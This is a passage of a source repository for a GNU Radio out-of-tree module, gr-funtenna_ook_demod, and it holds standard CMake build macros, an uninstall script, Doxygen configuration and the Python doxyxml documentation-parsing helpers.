| # 289 | if(WIN32 AND NOT CYGWIN) 290 | set_target_properties(${SWIG_MODULE_${name}_REAL_NAME} PROPERTIES SUFFIX ".pyd") 291 | endif() 292 | endif () 293 | endmacro() 294 | 295 | # 296 | # Like TARGET_LINK_LIBRARIES but for swig modules 297 | # 298 | macro(SWIG_LINK_LIBRARIES name) 299 | if(SWIG_MODULE_${name}_REAL_NAME) 300 | target_link_libraries(${SWIG_MODULE_${name}_REAL_NAME} ${ARGN}) 301 | else() 302 | message(SEND_ERROR "Cannot find Swig library \"${name}\".") 303 | endif() 304 | endmacro() 305 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/cmake/Modules/funtenna_ook_demodConfig.cmake: -------------------------------------------------------------------------------- 1 | INCLUDE(FindPkgConfig) 2 | PKG_CHECK_MODULES(PC_FUNTENNA_OOK_DEMOD funtenna_ook_demod) 3 | 4 | FIND_PATH( 5 | FUNTENNA_OOK_DEMOD_INCLUDE_DIRS 6 | NAMES funtenna_ook_demod/api.h 7 | HINTS $ENV{FUNTENNA_OOK_DEMOD_DIR}/include 8 | ${PC_FUNTENNA_OOK_DEMOD_INCLUDEDIR} 9 | PATHS ${CMAKE_INSTALL_PREFIX}/include 10 | /usr/local/include 11 | /usr/include 12 | ) 13 | 14 | FIND_LIBRARY( 15 | FUNTENNA_OOK_DEMOD_LIBRARIES 16 | NAMES gnuradio-funtenna_ook_demod 17 | HINTS $ENV{FUNTENNA_OOK_DEMOD_DIR}/lib 18 | ${PC_FUNTENNA_OOK_DEMOD_LIBDIR} 19 | PATHS ${CMAKE_INSTALL_PREFIX}/lib 20 | ${CMAKE_INSTALL_PREFIX}/lib64 21 | /usr/local/lib 22 | /usr/local/lib64 23 | /usr/lib 24 | /usr/lib64 25 | ) 26 | 27 | INCLUDE(FindPackageHandleStandardArgs) 28 | FIND_PACKAGE_HANDLE_STANDARD_ARGS(FUNTENNA_OOK_DEMOD DEFAULT_MSG FUNTENNA_OOK_DEMOD_LIBRARIES FUNTENNA_OOK_DEMOD_INCLUDE_DIRS) 29 | MARK_AS_ADVANCED(FUNTENNA_OOK_DEMOD_LIBRARIES FUNTENNA_OOK_DEMOD_INCLUDE_DIRS) 30 | 31 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/cmake/cmake_uninstall.cmake.in: -------------------------------------------------------------------------------- 1 | # http://www.vtk.org/Wiki/CMake_FAQ#Can_I_do_.22make_uninstall.22_with_CMake.3F 2 | 3 | IF(NOT EXISTS "@CMAKE_CURRENT_BINARY_DIR@/install_manifest.txt") 4 | MESSAGE(FATAL_ERROR "Cannot find install manifest: \"@CMAKE_CURRENT_BINARY_DIR@/install_manifest.txt\"") 5 | ENDIF(NOT EXISTS "@CMAKE_CURRENT_BINARY_DIR@/install_manifest.txt") 6 | 7 | FILE(READ "@CMAKE_CURRENT_BINARY_DIR@/install_manifest.txt" files) 8 | STRING(REGEX REPLACE "\n" ";" files "${files}") 9 | FOREACH(file ${files}) 10 | MESSAGE(STATUS "Uninstalling \"$ENV{DESTDIR}${file}\"") 11 | IF(EXISTS "$ENV{DESTDIR}${file}") 12 | EXEC_PROGRAM( 13 | "@CMAKE_COMMAND@" ARGS "-E remove \"$ENV{DESTDIR}${file}\"" 14 | OUTPUT_VARIABLE rm_out 15 | RETURN_VALUE rm_retval 16 | ) 17 | IF(NOT "${rm_retval}" STREQUAL 0) 18 | MESSAGE(FATAL_ERROR "Problem when removing \"$ENV{DESTDIR}${file}\"") 19 | ENDIF(NOT "${rm_retval}" STREQUAL 0) 20 | ELSEIF(IS_SYMLINK "$ENV{DESTDIR}${file}") 21 | EXEC_PROGRAM( 22 | "@CMAKE_COMMAND@" ARGS "-E remove \"$ENV{DESTDIR}${file}\"" 23 | OUTPUT_VARIABLE rm_out 24 | RETURN_VALUE rm_retval 25 | ) 26 | IF(NOT "${rm_retval}" STREQUAL 0) 27 | MESSAGE(FATAL_ERROR "Problem when removing \"$ENV{DESTDIR}${file}\"") 28 | ENDIF(NOT "${rm_retval}" STREQUAL 0) 29 | ELSE(EXISTS "$ENV{DESTDIR}${file}") 30 | MESSAGE(STATUS "File \"$ENV{DESTDIR}${file}\" does not exist.") 31 | ENDIF(EXISTS "$ENV{DESTDIR}${file}") 32 | ENDFOREACH(file) 33 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/docs/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # Copyright 2011 Free Software Foundation, Inc. 2 | # 3 | # This file is part of GNU Radio 4 | # 5 | # GNU Radio is free software; you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation; either version 3, or (at your option) 8 | # any later version. 9 | # 10 | # GNU Radio is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with GNU Radio; see the file COPYING. If not, write to 17 | # the Free Software Foundation, Inc., 51 Franklin Street, 18 | # Boston, MA 02110-1301, USA. 19 | 20 | ######################################################################## 21 | # Setup dependencies 22 | ######################################################################## 23 | find_package(Doxygen) 24 | 25 | ######################################################################## 26 | # Begin conditional configuration 27 | ######################################################################## 28 | if(ENABLE_DOXYGEN) 29 | 30 | ######################################################################## 31 | # Add subdirectories 32 | ######################################################################## 33 | add_subdirectory(doxygen) 34 | 35 | endif(ENABLE_DOXYGEN) 36 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/docs/README.funtenna_ook_demod: -------------------------------------------------------------------------------- 1 | This is the funtenna_ook_demod-write-a-block package meant as a guide to building 2 | out-of-tree packages. To use the funtenna_ook_demod blocks, the Python namespaces 3 | is in 'funtenna_ook_demod', which is imported as: 4 | 5 | import funtenna_ook_demod 6 | 7 | See the Doxygen documentation for details about the blocks available 8 | in this package. A quick listing of the details can be found in Python 9 | after importing by using: 10 | 11 | help(funtenna_ook_demod) 12 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/docs/doxygen/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # Copyright 2011 Free Software Foundation, Inc. 2 | # 3 | # This file is part of GNU Radio 4 | # 5 | # GNU Radio is free software; you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation; either version 3, or (at your option) 8 | # any later version. 9 | # 10 | # GNU Radio is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with GNU Radio; see the file COPYING. If not, write to 17 | # the Free Software Foundation, Inc., 51 Franklin Street, 18 | # Boston, MA 02110-1301, USA. 19 | 20 | ######################################################################## 21 | # Create the doxygen configuration file 22 | ######################################################################## 23 | file(TO_NATIVE_PATH ${CMAKE_SOURCE_DIR} top_srcdir) 24 | file(TO_NATIVE_PATH ${CMAKE_BINARY_DIR} top_builddir) 25 | file(TO_NATIVE_PATH ${CMAKE_SOURCE_DIR} abs_top_srcdir) 26 | file(TO_NATIVE_PATH ${CMAKE_BINARY_DIR} abs_top_builddir) 27 | 28 | set(HAVE_DOT ${DOXYGEN_DOT_FOUND}) 29 | set(enable_html_docs YES) 30 | set(enable_latex_docs NO) 31 | set(enable_xml_docs YES) 32 | 33 | configure_file( 34 | ${CMAKE_CURRENT_SOURCE_DIR}/Doxyfile.in 35 | ${CMAKE_CURRENT_BINARY_DIR}/Doxyfile 36 | @ONLY) 37 | 38 | set(BUILT_DIRS ${CMAKE_CURRENT_BINARY_DIR}/xml ${CMAKE_CURRENT_BINARY_DIR}/html) 39 | 40 | ######################################################################## 41 | # Make and install doxygen docs 42 | ######################################################################## 43 | add_custom_command( 44 | OUTPUT ${BUILT_DIRS} 45 | COMMAND ${DOXYGEN_EXECUTABLE} ${CMAKE_CURRENT_BINARY_DIR}/Doxyfile 46 | WORKING_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR} 47 | COMMENT "Generating documentation with doxygen" 48 | ) 49 | 50 | add_custom_target(doxygen_target ALL DEPENDS ${BUILT_DIRS}) 51 | 52 | install(DIRECTORY ${BUILT_DIRS} DESTINATION ${GR_PKG_DOC_DIR}) 53 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/docs/doxygen/doxyxml/__init__.py: -------------------------------------------------------------------------------- 1 | # 2 | # Copyright 2010 Free Software Foundation, Inc. 3 | # 4 | # This file is part of GNU Radio 5 | # 6 | # GNU Radio is free software; you can redistribute it and/or modify 7 | # it under the terms of the GNU General Public License as published by 8 | # the Free Software Foundation; either version 3, or (at your option) 9 | # any later version. 10 | # 11 | # GNU Radio is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | # GNU General Public License for more details. 15 | # 16 | # You should have received a copy of the GNU General Public License 17 | # along with GNU Radio; see the file COPYING. If not, write to 18 | # the Free Software Foundation, Inc., 51 Franklin Street, 19 | # Boston, MA 02110-1301, USA. 20 | # 21 | """ 22 | Python interface to contents of doxygen xml documentation. 23 | 24 | Example use: 25 | See the contents of the example folder for the C++ and 26 | doxygen-generated xml used in this example. 27 | 28 | >>> # Parse the doxygen docs. 29 | >>> import os 30 | >>> this_dir = os.path.dirname(globals()['__file__']) 31 | >>> xml_path = this_dir + "/example/xml/" 32 | >>> di = DoxyIndex(xml_path) 33 | 34 | Get a list of all top-level objects. 35 | 36 | >>> print([mem.name() for mem in di.members()]) 37 | [u'Aadvark', u'aadvarky_enough', u'main'] 38 | 39 | Get all functions. 40 | 41 | >>> print([mem.name() for mem in di.in_category(DoxyFunction)]) 42 | [u'aadvarky_enough', u'main'] 43 | 44 | Check if an object is present. 45 | 46 | >>> di.has_member(u'Aadvark') 47 | True 48 | >>> di.has_member(u'Fish') 49 | False 50 | 51 | Get an item by name and check its properties. 52 | 53 | >>> aad = di.get_member(u'Aadvark') 54 | >>> print(aad.brief_description) 55 | Models the mammal Aadvark. 56 | >>> print(aad.detailed_description) 57 | Sadly the model is incomplete and cannot capture all aspects of an aadvark yet. 58 | 59 | This line is uninformative and is only to test line breaks in the comments. 60 | >>> [mem.name() for mem in aad.members()] 61 | [u'aadvarkness', u'print', u'Aadvark', u'get_aadvarkness'] 62 | >>> aad.get_member(u'print').brief_description 63 | u'Outputs the vital aadvark statistics.' 64 | 65 | """ 66 | 67 | from doxyindex import DoxyIndex, DoxyFunction, DoxyParam, DoxyClass, DoxyFile, DoxyNamespace, DoxyGroup, DoxyFriend, DoxyOther 68 | 69 | def _test(): 70 | import os 71 | this_dir = os.path.dirname(globals()['__file__']) 72 | xml_path = this_dir + "/example/xml/" 73 | di = DoxyIndex(xml_path) 74 | # Get the Aadvark class 75 | aad = di.get_member('Aadvark') 76 | aad.brief_description 77 | import doctest 78 | return doctest.testmod() 79 | 80 | if __name__ == "__main__": 81 | _test() 82 | 83 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/docs/doxygen/doxyxml/base.py: -------------------------------------------------------------------------------- 1 | # 2 | # Copyright 2010 Free Software Foundation, Inc. 3 | # 4 | # This file is part of GNU Radio 5 | # 6 | # GNU Radio is free software; you can redistribute it and/or modify 7 | # it under the terms of the GNU General Public License as published by 8 | # the Free Software Foundation; either version 3, or (at your option) 9 | # any later version. 10 | # 11 | # GNU Radio is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | # GNU General Public License for more details. 15 | # 16 | # You should have received a copy of the GNU General Public License 17 | # along with GNU Radio; see the file COPYING. If not, write to 18 | # the Free Software Foundation, Inc., 51 Franklin Street, 19 | # Boston, MA 02110-1301, USA. 20 | # 21 | """ 22 | A base class is created. 23 | 24 | Classes based upon this are used to make more user-friendly interfaces 25 | to the doxygen xml docs than the generated classes provide. 26 | """ 27 | 28 | import os 29 | import pdb 30 | 31 | from xml.parsers.expat import ExpatError 32 | 33 | from generated import compound 34 | 35 | 36 | class Base(object): 37 | 38 | class Duplicate(StandardError): 39 | pass 40 | 41 | class NoSuchMember(StandardError): 42 | pass 43 | 44 | class ParsingError(StandardError): 45 | pass 46 | 47 | def __init__(self, parse_data, top=None): 48 | self._parsed = False 49 | self._error = False 50 | self._parse_data = parse_data 51 | self._members = [] 52 | self._dict_members = {} 53 | self._in_category = {} 54 | self._data = {} 55 | if top is not None: 56 | self._xml_path = top._xml_path 57 | # Set up holder of references 58 | else: 59 | top = self 60 | self._refs = {} 61 | self._xml_path = parse_data 62 | self.top = top 63 | 64 | @classmethod 65 | def from_refid(cls, refid, top=None): 66 | """ Instantiate class from a refid rather than parsing object. """ 67 | # First check to see if its already been instantiated. 68 | if top is not None and refid in top._refs: 69 | return top._refs[refid] 70 | # Otherwise create a new instance and set refid. 71 | inst = cls(None, top=top) 72 | inst.refid = refid 73 | inst.add_ref(inst) 74 | return inst 75 | 76 | @classmethod 77 | def from_parse_data(cls, parse_data, top=None): 78 | refid = getattr(parse_data, 'refid', None) 79 | if refid is not None and top is not None and refid in top._refs: 80 | return top._refs[refid] 81 | inst = cls(parse_data, top=top) 82 | if refid is not None: 83 | inst.refid = refid 84 | inst.add_ref(inst) 85 | return inst 86 | 87 | def add_ref(self, obj): 88 | if hasattr(obj, 'refid'): 89 | self.top._refs[obj.refid] = obj 90 | 91 | mem_classes = [] 92 | 93 | def get_cls(self, mem): 94 | for cls in self.mem_classes: 95 | if cls.can_parse(mem): 96 | return cls 97 | raise StandardError(("Did not find a class for object '%s'." \ 98 | % (mem.get_name()))) 99 | 100 | def convert_mem(self, mem): 101 | try: 102 | cls = self.get_cls(mem) 103 | converted = cls.from_parse_data(mem, self.top) 104 | if converted is None: 105 | raise StandardError('No class matched this object.') 106 | self.add_ref(converted) 107 | return converted 108 | except StandardError, e: 109 | print e 110 | 111 | @classmethod 112 | def includes(cls, inst): 113 | return isinstance(inst, cls) 114 | 115 | @classmethod 116 | def can_parse(cls, obj): 117 | return False 118 | 119 | def _parse(self): 120 | self._parsed = True 121 | 122 | def _get_dict_members(self, cat=None): 123 | """ 124 | For given category a dictionary is returned mapping member names to 125 | members of that category. For names that are duplicated the name is 126 | mapped to None. 127 | """ 128 | self.confirm_no_error() 129 | if cat not in self._dict_members: 130 | new_dict = {} 131 | for mem in self.in_category(cat): 132 | if mem.name() not in new_dict: 133 | new_dict[mem.name()] = mem 134 | else: 135 | new_dict[mem.name()] = self.Duplicate 136 | self._dict_members[cat] = new_dict 137 | return self._dict_members[cat] 138 | 139 | def in_category(self, cat): 140 | self.confirm_no_error() 141 | if cat is None: 142 | return self._members 143 | if cat not in self._in_category: 144 | self._in_category[cat] = [mem for mem in self._members 145 | if cat.includes(mem)] 146 | return self._in_category[cat] 147 | 148 | def get_member(self, name, cat=None): 149 | self.confirm_no_error() 150 | # Check if it's in a namespace or class. 151 | bits = name.split('::') 152 | first = bits[0] 153 | rest = '::'.join(bits[1:]) 154 | member = self._get_dict_members(cat).get(first, self.NoSuchMember) 155 | # Raise any errors that are returned. 156 | if member in set([self.NoSuchMember, self.Duplicate]): 157 | raise member() 158 | if rest: 159 | return member.get_member(rest, cat=cat) 160 | return member 161 | 162 | def has_member(self, name, cat=None): 163 | try: 164 | mem = self.get_member(name, cat=cat) 165 | return True 166 | except self.NoSuchMember: 167 | return False 168 | 169 | def data(self): 170 | self.confirm_no_error() 171 | return self._data 172 | 173 | def members(self): 174 | self.confirm_no_error() 175 | return self._members 176 | 177 | def process_memberdefs(self): 178 | mdtss = [] 179 | for sec in self._retrieved_data.compounddef.sectiondef: 180 | mdtss += sec.memberdef 181 | # At the moment we lose all information associated with sections. 182 | # Sometimes a memberdef is in several sectiondef. 183 | # We make sure we don't get duplicates here. 184 | uniques = set([]) 185 | for mem in mdtss: 186 | converted = self.convert_mem(mem) 187 | pair = (mem.name, mem.__class__) 188 | if pair not in uniques: 189 | uniques.add(pair) 190 | self._members.append(converted) 191 | 192 | def retrieve_data(self): 193 | filename = os.path.join(self._xml_path, self.refid + '.xml') 194 | try: 195 | self._retrieved_data = compound.parse(filename) 196 | except ExpatError: 197 | print('Error in xml in file %s' % filename) 198 | self._error = True 199 | self._retrieved_data = None 200 | 201 | def check_parsed(self): 202 | if not self._parsed: 203 | self._parse() 204 | 205 | def confirm_no_error(self): 206 | self.check_parsed() 207 | if self._error: 208 | raise self.ParsingError() 209 | 210 | def error(self): 211 | self.check_parsed() 212 | return self._error 213 | 214 | def name(self): 215 | # first see if we can do it without processing. 216 | if self._parse_data is not None: 217 | return self._parse_data.name 218 | self.check_parsed() 219 | return self._retrieved_data.compounddef.name 220 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/docs/doxygen/doxyxml/doxyindex.py: -------------------------------------------------------------------------------- 1 | # 2 | # Copyright 2010 Free Software Foundation, Inc. 3 | # 4 | # This file is part of GNU Radio 5 | # 6 | # GNU Radio is free software; you can redistribute it and/or modify 7 | # it under the terms of the GNU General Public License as published by 8 | # the Free Software Foundation; either version 3, or (at your option) 9 | # any later version. 10 | # 11 | # GNU Radio is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | # GNU General Public License for more details. 15 | # 16 | # You should have received a copy of the GNU General Public License 17 | # along with GNU Radio; see the file COPYING. If not, write to 18 | # the Free Software Foundation, Inc., 51 Franklin Street, 19 | # Boston, MA 02110-1301, USA. 20 | # 21 | """ 22 | Classes providing more user-friendly interfaces to the doxygen xml 23 | docs than the generated classes provide. 24 | """ 25 | 26 | import os 27 | 28 | from generated import index 29 | from base import Base 30 | from text import description 31 | 32 | class DoxyIndex(Base): 33 | """ 34 | Parses a doxygen xml directory. 35 | """ 36 | 37 | __module__ = "gnuradio.utils.doxyxml" 38 | 39 | def _parse(self): 40 | if self._parsed: 41 | return 42 | super(DoxyIndex, self)._parse() 43 | self._root = index.parse(os.path.join(self._xml_path, 'index.xml')) 44 | for mem in self._root.compound: 45 | converted = self.convert_mem(mem) 46 | # For files we want the contents to be accessible directly 47 | # from the parent rather than having to go through the file 48 | # object. 49 | if self.get_cls(mem) == DoxyFile: 50 | if mem.name.endswith('.h'): 51 | self._members += converted.members() 52 | self._members.append(converted) 53 | else: 54 | self._members.append(converted) 55 | 56 | 57 | def generate_swig_doc_i(self): 58 | """ 59 | %feature("docstring") gr_make_align_on_samplenumbers_ss::align_state " 60 | Wraps the C++: gr_align_on_samplenumbers_ss::align_state"; 61 | """ 62 | pass 63 | 64 | 65 | class DoxyCompMem(Base): 66 | 67 | 68 | kind = None 69 | 70 | def __init__(self, *args, **kwargs): 71 | super(DoxyCompMem, self).__init__(*args, **kwargs) 72 | 73 | @classmethod 74 | def can_parse(cls, obj): 75 | return obj.kind == cls.kind 76 | 77 | def set_descriptions(self, parse_data): 78 | bd = description(getattr(parse_data, 'briefdescription', None)) 79 | dd = description(getattr(parse_data, 'detaileddescription', None)) 80 | self._data['brief_description'] = bd 81 | self._data['detailed_description'] = dd 82 | 83 | class DoxyCompound(DoxyCompMem): 84 | pass 85 | 86 | class DoxyMember(DoxyCompMem): 87 | pass 88 | 89 | 90 | class DoxyFunction(DoxyMember): 91 | 92 | __module__ = "gnuradio.utils.doxyxml" 93 | 94 | kind = 'function' 95 | 96 | def _parse(self): 97 | if self._parsed: 98 | return 99 | super(DoxyFunction, self)._parse() 100 | self.set_descriptions(self._parse_data) 101 | self._data['params'] = [] 102 | prms = self._parse_data.param 103 | for prm in prms: 104 | self._data['params'].append(DoxyParam(prm)) 105 | 106 | brief_description = property(lambda self: self.data()['brief_description']) 107 | detailed_description = property(lambda self: self.data()['detailed_description']) 108 | params = property(lambda self: self.data()['params']) 109 | 110 | Base.mem_classes.append(DoxyFunction) 111 | 112 | 113 | class DoxyParam(DoxyMember): 114 | 115 | __module__ = "gnuradio.utils.doxyxml" 116 | 117 | def _parse(self): 118 | if self._parsed: 119 | return 120 | super(DoxyParam, self)._parse() 121 | self.set_descriptions(self._parse_data) 122 | self._data['declname'] = self._parse_data.declname 123 | 124 | brief_description = property(lambda self: self.data()['brief_description']) 125 | detailed_description = property(lambda self: self.data()['detailed_description']) 126 | declname = property(lambda self: self.data()['declname']) 127 | 128 | class DoxyClass(DoxyCompound): 129 | 130 | __module__ = "gnuradio.utils.doxyxml" 131 | 132 | kind = 'class' 133 | 134 | def _parse(self): 135 | if self._parsed: 136 | return 137 | super(DoxyClass, self)._parse() 138 | self.retrieve_data() 139 | if self._error: 140 | return 141 | self.set_descriptions(self._retrieved_data.compounddef) 142 | # Sectiondef.kind tells about whether private or public. 143 | # We just ignore this for now. 144 | self.process_memberdefs() 145 | 146 | brief_description = property(lambda self: self.data()['brief_description']) 147 | detailed_description = property(lambda self: self.data()['detailed_description']) 148 | 149 | Base.mem_classes.append(DoxyClass) 150 | 151 | 152 | class DoxyFile(DoxyCompound): 153 | 154 | __module__ = "gnuradio.utils.doxyxml" 155 | 156 | kind = 'file' 157 | 158 | def _parse(self): 159 | if self._parsed: 160 | return 161 | super(DoxyFile, self)._parse() 162 | self.retrieve_data() 163 | self.set_descriptions(self._retrieved_data.compounddef) 164 | if self._error: 165 | return 166 | self.process_memberdefs() 167 | 168 | brief_description = property(lambda self: self.data()['brief_description']) 169 | detailed_description = property(lambda self: self.data()['detailed_description']) 170 | 171 | Base.mem_classes.append(DoxyFile) 172 | 173 | 174 | class DoxyNamespace(DoxyCompound): 175 | 176 | __module__ = "gnuradio.utils.doxyxml" 177 | 178 | kind = 'namespace' 179 | 180 | Base.mem_classes.append(DoxyNamespace) 181 | 182 | 183 | class DoxyGroup(DoxyCompound): 184 | 185 | __module__ = "gnuradio.utils.doxyxml" 186 | 187 | kind = 'group' 188 | 189 | def _parse(self): 190 | if self._parsed: 191 | return 192 | super(DoxyGroup, self)._parse() 193 | self.retrieve_data() 194 | if self._error: 195 | return 196 | cdef = self._retrieved_data.compounddef 197 | self._data['title'] = description(cdef.title) 198 | # Process inner groups 199 | grps = cdef.innergroup 200 | for grp in grps: 201 | converted = DoxyGroup.from_refid(grp.refid, top=self.top) 202 | self._members.append(converted) 203 | # Process inner classes 204 | klasses = cdef.innerclass 205 | for kls in klasses: 206 | converted = DoxyClass.from_refid(kls.refid, top=self.top) 207 | self._members.append(converted) 208 | # Process normal members 209 | self.process_memberdefs() 210 | 211 | title = property(lambda self: self.data()['title']) 212 | 213 | 214 | Base.mem_classes.append(DoxyGroup) 215 | 216 | 217 | class DoxyFriend(DoxyMember): 218 | 219 | __module__ = "gnuradio.utils.doxyxml" 220 | 221 | kind = 'friend' 222 | 223 | Base.mem_classes.append(DoxyFriend) 224 | 225 | 226 | class DoxyOther(Base): 227 | 228 | __module__ = "gnuradio.utils.doxyxml" 229 | 230 | kinds = set(['variable', 'struct', 'union', 'define', 'typedef', 'enum', 'dir', 'page']) 231 | 232 | @classmethod 233 | def can_parse(cls, obj): 234 | return obj.kind in cls.kinds 235 | 236 | Base.mem_classes.append(DoxyOther) 237 | 238 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/docs/doxygen/doxyxml/generated/__init__.py: -------------------------------------------------------------------------------- 1 | """ 2 | Contains generated files produced by generateDS.py. 3 | 4 | These do the real work of parsing the doxygen xml files but the 5 | resultant classes are not very friendly to navigate so the rest of the 6 | doxyxml module processes them further. 7 | """ 8 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/docs/doxygen/doxyxml/generated/index.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Generated Mon Feb 9 19:08:05 2009 by generateDS.py. 5 | """ 6 | 7 | from xml.dom import minidom 8 | 9 | import os 10 | import sys 11 | import compound 12 | 13 | import indexsuper as supermod 14 | 15 | class DoxygenTypeSub(supermod.DoxygenType): 16 | def __init__(self, version=None, compound=None): 17 | supermod.DoxygenType.__init__(self, version, compound) 18 | 19 | def find_compounds_and_members(self, details): 20 | """ 21 | Returns a list of all compounds and their members which match details 22 | """ 23 | 24 | results = [] 25 | for compound in self.compound: 26 | members = compound.find_members(details) 27 | if members: 28 | results.append([compound, members]) 29 | else: 30 | if details.match(compound): 31 | results.append([compound, []]) 32 | 33 | return results 34 | 35 | supermod.DoxygenType.subclass = DoxygenTypeSub 36 | # end class DoxygenTypeSub 37 | 38 | 39 | class CompoundTypeSub(supermod.CompoundType): 40 | def __init__(self, kind=None, refid=None, name='', member=None): 41 | supermod.CompoundType.__init__(self, kind, refid, name, member) 42 | 43 | def find_members(self, details): 44 | """ 45 | Returns a list of all members which match details 46 | """ 47 | 48 | results = [] 49 | 50 | for member in self.member: 51 | if details.match(member): 52 | results.append(member) 53 | 54 | return results 55 | 56 | supermod.CompoundType.subclass = CompoundTypeSub 57 | # end class CompoundTypeSub 58 | 59 | 60 | class MemberTypeSub(supermod.MemberType): 61 | 62 | def __init__(self, kind=None, refid=None, name=''): 63 | supermod.MemberType.__init__(self, kind, refid, name) 64 | 65 | supermod.MemberType.subclass = MemberTypeSub 66 | # end class MemberTypeSub 67 | 68 | 69 | def parse(inFilename): 70 | 71 | doc = minidom.parse(inFilename) 72 | rootNode = doc.documentElement 73 | rootObj = supermod.DoxygenType.factory() 74 | rootObj.build(rootNode) 75 | 76 | return rootObj 77 | 78 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/docs/doxygen/doxyxml/text.py: -------------------------------------------------------------------------------- 1 | # 2 | # Copyright 2010 Free Software Foundation, Inc. 3 | # 4 | # This file is part of GNU Radio 5 | # 6 | # GNU Radio is free software; you can redistribute it and/or modify 7 | # it under the terms of the GNU General Public License as published by 8 | # the Free Software Foundation; either version 3, or (at your option) 9 | # any later version. 10 | # 11 | # GNU Radio is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | # GNU General Public License for more details. 15 | # 16 | # You should have received a copy of the GNU General Public License 17 | # along with GNU Radio; see the file COPYING. If not, write to 18 | # the Free Software Foundation, Inc., 51 Franklin Street, 19 | # Boston, MA 02110-1301, USA. 20 | # 21 | """ 22 | Utilities for extracting text from generated classes. 23 | """ 24 | 25 | def is_string(txt): 26 | if isinstance(txt, str): 27 | return True 28 | try: 29 | if isinstance(txt, unicode): 30 | return True 31 | except NameError: 32 | pass 33 | return False 34 | 35 | def description(obj): 36 | if obj is None: 37 | return None 38 | return description_bit(obj).strip() 39 | 40 | def description_bit(obj): 41 | if hasattr(obj, 'content'): 42 | contents = [description_bit(item) for item in obj.content] 43 | result = ''.join(contents) 44 | elif hasattr(obj, 'content_'): 45 | contents = [description_bit(item) for item in obj.content_] 46 | result = ''.join(contents) 47 | elif hasattr(obj, 'value'): 48 | result = description_bit(obj.value) 49 | elif is_string(obj): 50 | return obj 51 | else: 52 | raise StandardError('Expecting a string or something with content, content_ or value attribute') 53 | # If this bit is a paragraph then add one some line breaks. 54 | if hasattr(obj, 'name') and obj.name == 'para': 55 | result += "\n\n" 56 | return result 57 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/docs/doxygen/other/group_defs.dox: -------------------------------------------------------------------------------- 1 | /*! 2 | * \defgroup block GNU Radio FUNTENNA_OOK_DEMOD C++ Signal Processing Blocks 3 | * \brief All C++ blocks that can be used from the FUNTENNA_OOK_DEMOD GNU Radio 4 | * module are listed here or in the subcategories below. 5 | * 6 | */ 7 | 8 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/docs/doxygen/other/main_page.dox: -------------------------------------------------------------------------------- 1 | /*! \mainpage 2 | 3 | Welcome to the GNU Radio FUNTENNA_OOK_DEMOD Block 4 | 5 | This is the intro page for the Doxygen manual generated for the FUNTENNA_OOK_DEMOD 6 | block (docs/doxygen/other/main_page.dox). Edit it to add more detailed 7 | documentation about the new GNU Radio modules contained in this 8 | project. 9 | 10 | */ 11 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/docs/doxygen/swig_doc.py: -------------------------------------------------------------------------------- 1 | # 2 | # Copyright 2010,2011 Free Software Foundation, Inc. 3 | # 4 | # This file is part of GNU Radio 5 | # 6 | # GNU Radio is free software; you can redistribute it and/or modify 7 | # it under the terms of the GNU General Public License as published by 8 | # the Free Software Foundation; either version 3, or (at your option) 9 | # any later version. 10 | # 11 | # GNU Radio is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | # GNU General Public License for more details. 15 | # 16 | # You should have received a copy of the GNU General Public License 17 | # along with GNU Radio; see the file COPYING. If not, write to 18 | # the Free Software Foundation, Inc., 51 Franklin Street, 19 | # Boston, MA 02110-1301, USA. 20 | # 21 | """ 22 | Creates the swig_doc.i SWIG interface file. 23 | Execute using: python swig_doc.py xml_path outputfilename 24 | 25 | The file instructs SWIG to transfer the doxygen comments into the 26 | python docstrings. 27 | 28 | """ 29 | 30 | import sys 31 | 32 | try: 33 | from doxyxml import DoxyIndex, DoxyClass, DoxyFriend, DoxyFunction, DoxyFile, base 34 | except ImportError: 35 | from gnuradio.doxyxml import DoxyIndex, DoxyClass, DoxyFriend, DoxyFunction, DoxyFile, base 36 | 37 | 38 | def py_name(name): 39 | bits = name.split('_') 40 | return '_'.join(bits[1:]) 41 | 42 | def make_name(name): 43 | bits = name.split('_') 44 | return bits[0] + '_make_' + 